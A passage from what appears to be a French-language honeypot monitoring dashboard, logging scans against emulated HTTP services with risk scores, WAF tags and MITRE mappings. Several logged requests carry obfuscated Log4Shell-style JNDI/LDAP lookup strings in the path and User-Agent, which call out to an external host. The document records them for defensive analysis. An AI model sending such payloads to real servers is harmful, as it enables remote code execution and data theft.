"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ee3630e4847a2389eb3ad261bbfd31d5932fcab4",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3128,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:3128 \u00b7 (tentative d'exploit)",
"target_port_label": "3128 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 56\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 56,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 56,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3128,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3128,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:3128 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "3128 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3128"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"node-http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 17,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:37:27 UTC
TCP
3000 · NODE HTTP
Injection PHP
php injection · via NODE HTTP:3000 · (tentative d'exploit)
Élevée
Moyen · 52
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
Émulateur
NODE-HTTP
WAF
—
Recommandation
Investiguer
Tags
net_web_probe
node_http_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
3000
Chemin / cible
—
Service
NODE HTTP
Payload
ZSDLKFJ2 /${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${w
Pourquoi cette classification : Type « php_injection » (signaux protocolaires) · confiance 97%
Confiance classification
100%
Corrélation +18
Risque capteur
Moyen
· 52
Confiance : Confiance 97 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 933135
User-Agent
—
Règles WAF
—
Payload (extrait)
ZSDLKFJ2 /${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${w
Requête brute (extrait)
ZSDLKFJ2 /${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${wt6y:zr1:bj:-/}${px:-/}${b5y:-P}${t5x:3dx:bne:-A}${c:-l}${2r:oc1:hy72:-0}${qj:hv3:-c}${4j08:a2:--}${${g7d:j:-s}${1:zfh:29a:-y}${w
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120343034204e6f7420466f756e640d0a582d506f77657265642d42793a20457870726573730d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2031320d0a0d0a43616e6e6f7420474554202f",
"emulator_response_len": 106,
"bytes_in": 4096,
"payload_entropy": 4.7763651210476485,
"port_category": "registered",
"org": "Google LLC",
"service": "node-http",
"app_proto": "node-http",
"asn": 396982,
"country": "US",
"dst_port": 3000,
"risk_waf": 8,
"risk_classification": 84,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.5,
"risk_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15
},
"risk_score": 52,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "7c356cd3f41196ebc417361b0f54b35bbef962c4",
"event_fingerprint": "34fd482cd7628741af06d058b16059cafd546c90",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "node-http",
"risk_confidence_factor": 97,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "8a4aff5042f0d8a34b5f88e5c767a2c3",
"path_pattern_hash": "765741bf96f2b0261b26b2b9f8ad710b"
},
"target_context": {
"dst_port": 3000,
"service": "node-http",
"service_name": "node-http",
"risk_score": 52
},
"payload_preview": "ZSDLKFJ2 \/${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${w",
"request_sample": "ZSDLKFJ2 \/${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${wt6y:zr1:bj:-\/}${px:-\/}${b5y:-P}${t5x:3dx:bne:-A}${c:-l}${2r:oc1:hy72:-0}${qj:hv3:-c}${4j08:a2:--}${${g7d:j:-s}${1:zfh:29a:-y}${w",
"payload_snippet": "ZSDLKFJ2 \/${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${w",
"evidence": {
"request_sample": "ZSDLKFJ2 \/${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${wt6y:zr1:bj:-\/}${px:-\/}${b5y:-P}${t5x:3dx:bne:-A}${c:-l}${2r:oc1:hy72:-0}${qj:hv3:-c}${4j08:a2:--}${${g7d:j:-s}${1:zfh:29a:-y}${w",
"payload_snippet": "ZSDLKFJ2 \/${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${w",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e0d90633f4c89311d9884607cc737917299996b4",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${w",
"port": 3000,
"service": "node-http",
"service_label_fr": "NODE HTTP"
},
"evidence_snippet": "ZSDLKFJ2 \/${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${w",
"attack_vector": "php injection \u00b7 via NODE HTTP:3000 \u00b7 (tentative d'exploit)",
"target_port_label": "3000 \u00b7 NODE HTTP",
"emulator_service": "node-http",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"classification_reason_label_fr": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via NODE HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 52,
"risk_label": "Moyen",
"service_name": "node-http",
"service_label_fr": "NODE HTTP",
"dst_port": 3000,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-node-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${w",
"port": 3000,
"service": "node-http",
"service_label_fr": "NODE HTTP"
},
"attack_vector": "php injection \u00b7 via NODE HTTP:3000 \u00b7 (tentative d'exploit)",
"evidence_snippet": "ZSDLKFJ2 \/${${rh:-j}${m:t3:y:-n}${urb:-d}${twm:ts:-i}${m:-:}${wk9c:gv:h3:-l}${k:xbd0:-d}${6:b75h:7:-a}${n5:q:f49:-p}${a:7:-:}${w",
"target_port_label": "3000 \u00b7 NODE HTTP",
"emulator_service": "node-http",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "node_http",
"service_banner": "honeypot-node-http",
"service_os": "linux",
"dst_port": "3000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"node-http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 16,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"net_web_probe",
"node_http_emulated"
],
"asn_dc_heuristic": true
}
30/07/2026 18:37:27 UTC
TCP
3000 · HTTP
Sonde port 3000/TCP
port 3000 tcp · via HTTP:3000 · (sonde / probe) · → /${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:…
Élevée
Moyen · 60
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-… UA ${${g37:gu:-j}${v7a:-n}${k359:-d}${fge:rm39:-i}${rp24:xg:-:}${w…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-/}${y4rf:-/}${r:-P}${sacj:-A}${hg:-l}${x6:eo6s:i1w8:-0}${kcw:vdma:6e8:-c}${lz:fyk:l:--}${${p:-s}${vn2:-y}${tu8v:81n:i1:-s}${clq:0jnt:-:}${vh:b28j:eadq:-j}${h0o:-a}${t5k:ztb:p3fb:-v}${ihs:zmy:-a}${x:6w:-.}${x:oj0:-v}${72v:ef:37vk:-e}${l:-r}${nc:gd:wr8:-s}${d5:x0rc:unj0:-i}${m:-o}${y7l:-n}}${y:b:-.}${8uod:x25:-1}${9:c:gus:-b}${2:15r4:05hy:-0}${t3q:x:-d}${v0w:9yrm:x:-c}${u9:
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
3000
Chemin / cible
/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-/}${y4rf:-/}${r:-P}${…
Preuve honeypot — Sonde port 3000/TCP
Connexion détectée sur le port 3000 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_3000_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 60
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-/}${y4rf:-/}${r:-P}${sacj:-A}${hg:-l}${x6:eo6s:i1w8:-0}${kcw:vdma:6e8:-c}${lz:fyk:l:--}${${p:-s}${vn2:-y}${tu8v:81n:i1:-s}${clq:0jnt:-:}${vh:b28j:eadq:-j}${h0o:-a}${t5k:ztb:p3fb:-v}${ihs:zmy:-a}${x:6w:-.}${x:oj0:-v}${72v:ef:37vk:-e}${l:-r}${nc:gd:wr8:-s}${d5:x0rc:unj0:-i}${m:-o}${y7l:-n}}${y:b:-.}${8uod:x25:-1}${9:c:gus:-b}${2:15r4:05hy:-0}${t3q:x:-d}${v0w:9yrm:x:-c}$
User-Agent
${${g37:gu:-j}${v7a:-n}${k359:-d}${fge:rm39:-i}${rp24:xg:-:}${wd:j:-l}${nqd:-d}${d4mc:61q:f:-a}${xb:qic:-p}${q58c:wxs6:uv8:-:}${q:-/}${rj6:-/}${osb8:n:au:-U}${98fx:zme:-A}${xj:-l}${gfui:i:-0}${w:-c}$…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}
Requête brute (extrait)
GET /${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-/}${y4rf:-/}${r:-P}${sacj:-A}${hg:-l}${x6:eo6s:i1w8:-0}${kcw:vdma:6e8:-c}${lz:fyk:l:--}${${p:-s}${vn2:-y}${tu8v:81
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120343034204e6f7420466f756e640d0a582d506f77657265642d42793a20457870726573730d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2031320d0a0d0a43616e6e6f7420474554202f",
"emulator_response_len": 106,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${r:x:-g}${k0a2:ex5u:-o}${g:vy5:-o}${5o8:f:-g}}",
"http_ua_hash": "bf05304ed2207ebb73b752895ff5717c2bfdfc6e",
"http_host_hash": "46f5955a67387b75de712e640b0687c888a438e5",
"http_target_hash": "84dfb0ec1c82809b944a611ae7f58508e9a881c4",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.794491096026418,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3000,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.9,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 60,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "549496a9579214500c24c3c7c51e3c011e61b0d8",
"event_fingerprint": "d384ab262d4b24dce9b5675cff1d79c9baab0471",
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 60,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "ab83c4ae655cfdd7fed2c7dcb26d7e62",
"payload_hash": "d147fbc0af48681922d65f1793be66b4",
"path_pattern_hash": "5040edbf14323c32f90f053c597219e7"
},
"target_context": {
"dst_port": 3000,
"service": "http",
"service_name": "http",
"risk_score": 60
},
"method": "GET",
"path": "\/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-\/}${y4rf:-\/}${r:-P}${sacj:-A}${hg:-l}${x6:eo6s:i1w8:-0}${kcw:vdma:6e8:-c}${lz:fyk:l:--}${${p:-s}${vn2:-y}${tu8v:81n:i1:-s}${clq:0jnt:-:}${vh:b28j:eadq:-j}${h0o:-a}${t5k:ztb:p3fb:-v}${ihs:zmy:-a}${x:6w:-.}${x:oj0:-v}${72v:ef:37vk:-e}${l:-r}${nc:gd:wr8:-s}${d5:x0rc:unj0:-i}${m:-o}${y7l:-n}}${y:b:-.}${8uod:x25:-1}${9:c:gus:-b}${2:15r4:05hy:-0}${t3q:x:-d}${v0w:9yrm:x:-c}${u9:",
"user_agent": "${${g37:gu:-j}${v7a:-n}${k359:-d}${fge:rm39:-i}${rp24:xg:-:}${wd:j:-l}${nqd:-d}${d4mc:61q:f:-a}${xb:qic:-p}${q58c:wxs6:uv8:-:}${q:-\/}${rj6:-\/}${osb8:n:au:-U}${98fx:zme:-A}${xj:-l}${gfui:i:-0}${w:-c}${u:5gn:xw:--}${${nq6:k:-s}${r:y8:x6:-y}${4j3:wla:fu2:-s}\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-\/}${y4rf:-\/}${r:-P}${sacj:-A}${hg:-l}${x6:eo6s:i1w8:-0}${kcw:vdma:6e8:-c}${lz:fyk:l:--}${${p:-s}${vn2:-y}${tu8v:81n:i1:-s}${clq:0jnt:-:}${vh:b28j:eadq:-j}${h0o:-a}${t5k:ztb:p3fb:-v}${ihs:zmy:-a}${x:6w:-.}${x:oj0:-v}${72v:ef:37vk:-e}${l:-r}${nc:gd:wr8:-s}${d5:x0rc:unj0:-i}${m:-o}${y7l:-n}}${y:b:-.}${8uod:x25:-1}${9:c:gus:-b}${2:15r4:05hy:-0}${t3q:x:-d}${v0w:9yrm:x:-c}$",
"payload_snippet": "GET \/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}",
"evidence": {
"method": "GET",
"path": "\/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-\/}${y4rf:-\/}${r:-P}${sacj:-A}${hg:-l}${x6:eo6s:i1w8:-0}${kcw:vdma:6e8:-c}${lz:fyk:l:--}${${p:-s}${vn2:-y}${tu8v:81n:i1:-s}${clq:0jnt:-:}${vh:b28j:eadq:-j}${h0o:-a}${t5k:ztb:p3fb:-v}${ihs:zmy:-a}${x:6w:-.}${x:oj0:-v}${72v:ef:37vk:-e}${l:-r}${nc:gd:wr8:-s}${d5:x0rc:unj0:-i}${m:-o}${y7l:-n}}${y:b:-.}${8uod:x25:-1}${9:c:gus:-b}${2:15r4:05hy:-0}${t3q:x:-d}${v0w:9yrm:x:-c}${u9:",
"user_agent": "${${g37:gu:-j}${v7a:-n}${k359:-d}${fge:rm39:-i}${rp24:xg:-:}${wd:j:-l}${nqd:-d}${d4mc:61q:f:-a}${xb:qic:-p}${q58c:wxs6:uv8:-:}${q:-\/}${rj6:-\/}${osb8:n:au:-U}${98fx:zme:-A}${xj:-l}${gfui:i:-0}${w:-c}${u:5gn:xw:--}${${nq6:k:-s}${r:y8:x6:-y}${4j3:wla:fu2:-s}\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
